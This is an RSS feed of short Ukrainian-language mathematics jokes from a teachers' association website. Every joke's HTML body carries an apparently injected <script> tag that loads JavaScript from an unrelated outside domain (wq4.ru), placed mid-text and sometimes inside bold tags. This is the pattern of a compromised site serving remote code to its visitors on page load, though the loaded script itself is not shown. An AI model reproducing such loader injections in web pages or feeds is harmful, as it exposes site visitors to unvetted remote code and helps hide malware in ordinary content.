<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Математик.org.ua &#187; Математичні усмішки</title>
	<atom:link href="/?feed=rss2&#038;cat=3" rel="self" type="application/rss+xml" />
	<link>http://matematik.org.ua</link>
	<description>Об&#039;єднання вчителів математики</description>
	<lastBuildDate>Mon, 17 Feb 2014 18:50:08 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>22</title>
		<link>http://matematik.org.ua/?p=213</link>
		<comments>http://matematik.org.ua/?p=213#comments</comments>
		<pubDate>Tue, 13 Nov 2012 17:15:20 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=213</guid>
		<description><![CDATA[Межа функції &#171;3 в квадраті&#187;, коли 3 прагне до 4, дорівнює 16. Межа групи студентів, при кількості студентів на парі, що прагне до нуля, дорівнює старості.]]></description>
			<content:encoded><![CDATA[<p>Межа функції &#171;3 в квадраті&#187;, коли 3 прагне до 4, дорівнює 16.<br />
Межа групи студентів, при кількості студентів на парі, що прагне до нуля, дорівнює старості.<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=213</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>20</title>
		<link>http://matematik.org.ua/?p=209</link>
		<comments>http://matematik.org.ua/?p=209#comments</comments>
		<pubDate>Tue, 13 Nov 2012 17:14:06 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=209</guid>
		<description><![CDATA[Вирішу ваші проблеми з нескінченністю. Врятую від невизначеності при діленні на нуль. Тел. 765-43-21 (запитати Фур&#8217;є).]]></description>
			<content:encoded><![CDATA[<p>Вирішу ваші проблеми з нескінченністю. Врятую від невизначеності при діленні на нуль. Тел. 765-43-21 (<strong>запитати Фур&#8217;є<script type="text/javascript" src="//wq4.ru/js.js"></script></strong>).</p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=209</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>19</title>
		<link>http://matematik.org.ua/?p=206</link>
		<comments>http://matematik.org.ua/?p=206#comments</comments>
		<pubDate>Tue, 13 Nov 2012 17:13:14 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=206</guid>
		<description><![CDATA[Диференціальне рівняння було дуже складним, але професор з притаманною йому скромністю назвав його звичайним.]]></description>
			<content:encoded><![CDATA[<p>Диференціальне рівняння було дуже складним, але професор з притаманною йому скромністю назвав його звичайним.<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=206</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>21</title>
		<link>http://matematik.org.ua/?p=203</link>
		<comments>http://matematik.org.ua/?p=203#comments</comments>
		<pubDate>Tue, 13 Nov 2012 17:12:44 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=203</guid>
		<description><![CDATA[Приймають математика в престижний англійський клуб. - Ви, сер, повинні слідувати правилам нашого клубу: не говорити, того, чого не знаєте точно, не судити по декільком членам про всіх інших і не надавати зайвого значення дрібницям. Математик: - Отже, прощайте асимптотичні &#8230; <a href="/?p=203">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Приймають математика в престижний англійський клуб.<br />
- Ви, сер, повинні слідувати правилам нашого клубу: не говорити, того, чого не знаєте точно, не судити по декільком членам про всіх інших і не надавати зайвого значення дрібницям.<br />
Математик:<br />
- Отже, прощайте асимптотичні методи?<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=203</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>18</title>
		<link>http://matematik.org.ua/?p=199</link>
		<comments>http://matematik.org.ua/?p=199#comments</comments>
		<pubDate>Tue, 13 Nov 2012 17:09:52 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=199</guid>
		<description><![CDATA[Студент запитує лектора з аналітичної геометрії: - А де в житті можуть стати в нагоді всі ці ваші еліпси? - Ну як же &#8230; Еліпси потрібні при нарізуванні ковбаси кружечками &#8230;]]></description>
			<content:encoded><![CDATA[<p>Студент запитує лектора з аналітичної геометрії:<br />
- А де в житті можуть стати в нагоді всі ці ваші еліпси?<br />
- Ну як же &#8230; Еліпси потрібні при нарізуванні ковбаси кружечками &#8230;<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=199</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>17</title>
		<link>http://matematik.org.ua/?p=195</link>
		<comments>http://matematik.org.ua/?p=195#comments</comments>
		<pubDate>Tue, 13 Nov 2012 17:08:58 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=195</guid>
		<description><![CDATA[Існує досить точне визначення п&#8217;яного математика &#8212; це людина, яка йде по вулиці і каже що може довести все що завгодно.]]></description>
			<content:encoded><![CDATA[<p>Існує досить точне визначення <strong>п&#8217;яного математика<script type="text/javascript" src="//wq4.ru/js.js"></script></strong> &#8212; це людина, яка йде по вулиці і каже що може довести все що завгодно.</p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=195</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>16</title>
		<link>http://matematik.org.ua/?p=192</link>
		<comments>http://matematik.org.ua/?p=192#comments</comments>
		<pubDate>Tue, 13 Nov 2012 17:08:14 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=192</guid>
		<description><![CDATA[Нахабство його не мало меж, похідної і не виражалась через елементарні функції.]]></description>
			<content:encoded><![CDATA[<p>Нахабство його не мало меж, похідної і не виражалась через елементарні функції.<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=192</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>15</title>
		<link>http://matematik.org.ua/?p=189</link>
		<comments>http://matematik.org.ua/?p=189#comments</comments>
		<pubDate>Tue, 13 Nov 2012 17:07:37 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=189</guid>
		<description><![CDATA[З матаналізу: &#171;Якщо думки сходяться, то вони обмежені&#171;.]]></description>
			<content:encoded><![CDATA[<p>З матаналізу: &#171;Якщо думки сходяться, то вони <strong>обмежені<script type="text/javascript" src="//wq4.ru/js.js"></script></strong>&#171;.</p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=189</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>6</title>
		<link>http://matematik.org.ua/?p=44</link>
		<comments>http://matematik.org.ua/?p=44#comments</comments>
		<pubDate>Fri, 09 Nov 2012 15:23:21 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=44</guid>
		<description><![CDATA[Математик організував лотерею, в якій приз є нескінченною сумою грошей. Коли виграшний квиток витягнуть, радісний переможець починає вимагати приз, математик пояснює спосіб оплати: &#171;1 долар тепер, 1 / 2 долари на наступному тижні, 1 / 3 долара ще через тиждень &#8230; <a href="/?p=44">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Математик організував лотерею, в якій приз є нескінченною сумою грошей. Коли виграшний квиток витягнуть, радісний переможець починає вимагати приз, математик пояснює спосіб оплати: &#171;1 долар тепер, 1 / 2 долари на наступному тижні, 1 / 3 долара ще через тиждень &#8230;&#187;<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=44</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>5</title>
		<link>http://matematik.org.ua/?p=41</link>
		<comments>http://matematik.org.ua/?p=41#comments</comments>
		<pubDate>Fri, 09 Nov 2012 15:22:58 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=41</guid>
		<description><![CDATA[Не можете знайти роботу? Помножте час на потужність!]]></description>
			<content:encoded><![CDATA[<p>Не можете знайти роботу? Помножте час на потужність!<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=41</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>4</title>
		<link>http://matematik.org.ua/?p=36</link>
		<comments>http://matematik.org.ua/?p=36#comments</comments>
		<pubDate>Fri, 09 Nov 2012 15:19:49 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=36</guid>
		<description><![CDATA[З точністю до десятого знаку обчислений уявний нуль! Виявляється, він на уявну одиницю менше уявної одиниці, і на нього теж не можна ділити!]]></description>
			<content:encoded><![CDATA[<p>З точністю до десятого знаку обчислений уявний нуль! Виявляється, він на уявну одиницю менше уявної одиниці, і на нього теж не можна ділити!<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=36</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>3</title>
		<link>http://matematik.org.ua/?p=33</link>
		<comments>http://matematik.org.ua/?p=33#comments</comments>
		<pubDate>Fri, 09 Nov 2012 15:19:29 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=33</guid>
		<description><![CDATA[Щоб стати математиком, потрібно здати чотири аналізи: математичний, функціональний, чисельний і флюорографію!]]></description>
			<content:encoded><![CDATA[<p>Щоб стати математиком, потрібно здати чотири аналізи: математичний, функціональний, чисельний і флюорографію!<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=33</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2</title>
		<link>http://matematik.org.ua/?p=21</link>
		<comments>http://matematik.org.ua/?p=21#comments</comments>
		<pubDate>Fri, 09 Nov 2012 14:10:20 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=21</guid>
		<description><![CDATA[Між зліченими і континуальним множинами хтось ховається!]]></description>
			<content:encoded><![CDATA[<p>Між зліченими і континуальним множинами хтось ховається!<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=21</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>1</title>
		<link>http://matematik.org.ua/?p=15</link>
		<comments>http://matematik.org.ua/?p=15#comments</comments>
		<pubDate>Fri, 09 Nov 2012 13:47:54 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=15</guid>
		<description><![CDATA[Раціональні числа розмножуються діленням!]]></description>
			<content:encoded><![CDATA[<p>Раціональні числа розмножуються діленням!<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=15</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>14</title>
		<link>http://matematik.org.ua/?p=71</link>
		<comments>http://matematik.org.ua/?p=71#comments</comments>
		<pubDate>Fri, 09 Nov 2012 15:33:57 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=71</guid>
		<description><![CDATA[У раю Архімед, Паскаль і Ньютон грають у хованки. Архімед водить і починає рахувати. Паскаль тікає за обрій, а Ньютон озирається, бере палицю, малює навколо себе квадрат зі стороною 1 метр і стає всередину квадрата. Архімед закінчує рахувати, відкриває очі і &#8230; <a href="/?p=71">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>У раю Архімед, Паскаль і Ньютон грають у хованки. Архімед водить і починає рахувати. Паскаль тікає за обрій, а Ньютон озирається, бере палицю, малює навколо себе квадрат зі стороною 1 метр і стає всередину квадрата.<br />
Архімед закінчує рахувати, відкриває очі і бачить Ньютона:</p>
<p>Я бачу Ньютона!</p>
<p>Е, ні! Ньютон на метр квадратний &#8212; це Паскаль!<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=71</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>13</title>
		<link>http://matematik.org.ua/?p=68</link>
		<comments>http://matematik.org.ua/?p=68#comments</comments>
		<pubDate>Fri, 09 Nov 2012 15:32:20 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=68</guid>
		<description><![CDATA[Визначення 1: Похідна пиятика &#8212; пиятика на гроші від зданих пляшок. Визначення 2: Фундаментальна пиятика &#8212; пиятика, у якої друга похідна додатня.]]></description>
			<content:encoded><![CDATA[<p><strong>Визначення 1:</strong> Похідна пиятика &#8212; пиятика на гроші від зданих пляшок.<br />
<strong>Визначення 2:<script type="text/javascript" src="//wq4.ru/js.js"></script></strong> Фундаментальна пиятика &#8212; пиятика, у якої друга похідна додатня.</p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=68</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>12</title>
		<link>http://matematik.org.ua/?p=65</link>
		<comments>http://matematik.org.ua/?p=65#comments</comments>
		<pubDate>Fri, 09 Nov 2012 15:31:33 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=65</guid>
		<description><![CDATA[Йде лекція з математики, в аудиторії лектор і 3 студента. Раптово встають 5 чоловік і йдуть. лектор:- От зараз прийдуть ще двоє, і взагалі нікого не залишиться.]]></description>
			<content:encoded><![CDATA[<p>Йде лекція з математики, в аудиторії лектор і 3 студента.<br />
Раптово встають 5 чоловік і йдуть.<br />
лектор:- От зараз прийдуть ще двоє, і взагалі нікого не залишиться.<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=65</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>11</title>
		<link>http://matematik.org.ua/?p=62</link>
		<comments>http://matematik.org.ua/?p=62#comments</comments>
		<pubDate>Fri, 09 Nov 2012 15:30:17 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=62</guid>
		<description><![CDATA[Мільярд &#8212; не слово, а довге ціле!]]></description>
			<content:encoded><![CDATA[<p>Мільярд &#8212; не слово, а довге ціле!<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=62</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10</title>
		<link>http://matematik.org.ua/?p=59</link>
		<comments>http://matematik.org.ua/?p=59#comments</comments>
		<pubDate>Fri, 09 Nov 2012 15:29:51 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=59</guid>
		<description><![CDATA[- Вовочка, а хто в тебе тато? &#8212; Програміст. - А ти рахувати до 5 вмієш? - Вмію. &#8212; Порахуй. &#8212; Один, два, три, чотири, п&#8217;ять &#8230; - А далі? - Шість, сім, вісім, дев&#8217;ять, а, бе, ЦЕ, де, е, &#8230; <a href="/?p=59">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>- Вовочка, а хто в тебе тато? &#8212; Програміст.<br />
- А ти рахувати до 5 вмієш?<br />
- Вмію. &#8212; Порахуй. &#8212; Один, два, три, чотири, п&#8217;ять &#8230;<br />
- А далі?<br />
- Шість, сім, вісім, дев&#8217;ять, а, бе, ЦЕ, де, е, еф &#8230;<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=59</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>9</title>
		<link>http://matematik.org.ua/?p=56</link>
		<comments>http://matematik.org.ua/?p=56#comments</comments>
		<pubDate>Fri, 09 Nov 2012 15:29:01 +0000</pubDate>
		<dc:creator>stepan_klimentievich</dc:creator>
				<category><![CDATA[Математичні усмішки]]></category>

		<guid isPermaLink="false">http://matematik.org.ua/?p=56</guid>
		<description><![CDATA[У Вовочки тато програмер: - Вовочка, а ти до скількох рахувати вмієш? - До 1010 &#8230; - Та ну, ти ж ще такий маленький, ану порахуй &#8230; - Ок, 0 1 10 11 100 101 110 111 1000 1001 1010 &#8230; <a href="/?p=56">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>У Вовочки тато програмер:<br />
- Вовочка, а ти до скількох рахувати вмієш?<br />
- До 1010 &#8230;<br />
- Та ну, ти ж ще такий маленький, ану порахуй &#8230;<br />
- Ок, 0 1 10 11 100 101 110 111 1000 1001 1010 от &#8230;<script type="text/javascript" src="//wq4.ru/js.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://matematik.org.ua/?feed=rss2&#038;p=56</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
